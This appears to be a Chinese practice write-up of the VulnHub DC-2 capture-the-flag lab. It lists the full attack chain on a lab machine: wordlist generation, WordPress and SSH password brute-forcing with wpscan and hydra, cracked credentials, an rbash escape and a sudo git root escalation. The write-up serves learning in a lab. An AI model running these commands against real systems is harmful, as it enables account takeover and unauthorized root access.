001环境和目的
靶机下载地址:DC: 2 ~ VulnHub
攻击机:kali2022 192.168.200.129
DC2:192.168.200.11
目的:拿到5个flag
002信息收集
1由于是黑盒测试,我们根据mac地址确定目标ip
命令:arp-scan -l
2我们确定ip是192.168.200.11
nmap扫描 nmap -A 192.168.200.11 -p 1-65535
3扫描到了此ip开放了80和7744端口
我们访问80端口先进网站看一下
访问不了,此时我们看到url中是域名,由此判断应该是dns没有解析出来
这边配置一下hosts文件
vim /etc/hosts
添加192.168.200.11 dc-2
保存退出
已经可以成功访问了,我们在网站里面看一下都有什么
flag1就放在网站里面,我们来看一下flag1给的线索
这里的话我去百度了一下cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
Kali Linux字典生成工具Cewl使用全指南 - FreeBuf网络安全行业门户
贴一下使用指南
输入 cewl -h 查看
我们创建一下字典
这里就创建好了,生成字典后我们肯定是要爆破后台的,我们开始目录扫描
这里我发现网站使用wordpress搭建的
目录扫描的工具非常多由于是wordpress搭建的我这里就用wpscan来扫描目录
既然是爆破那么我们就在参数中设置号账号
wpscan --url dc-2 -e u
这里也是成功扫描到了3个账号
创建一个username存放这3个账号
admin jerry tom
密码在之前也用cewl生成好了
后台也扫了出来gobuster dir -u http://192.168.200.11:80/ -w /usr/share/wordlists/dirb/common.txt
/wp-admin
开始爆破
wpscan --url dc-2 -U username.txt -P pwn.dic
Username: jerry, Password: adipiscing
|Username: tom, Password: parturient
我们在jreey这个账户中找到了flag2
提示让我们找下一个切入点
我们这是回到开始还有一个端口7744(ssh)应该是让我们爆破
爆破ssh
hydra -L username.txt -P pwn.dic -vV 192.168.200.11 -s 7744 ssh
host: 192.168.200.11 login: tom password: parturient
ssh tom@192.168.200.11 -p 7744
连接
发现了flag3但是没办法用cat
搜了一下需要绕过rbash
BASH_CMDS[a]=/bin/bash
a
/bin/bash
export PATH=PATH:/sbin:/bin
这里应该是跟jerry有关在文件里面找一下
flag4到手
这里也是提示我们git--git提权 同时也让我们快离开
这里尝试切换用户为jerry
开始git提取
sudo git -p --help
!/bin/bash
到root目录下发现最后一个flag
练习记录----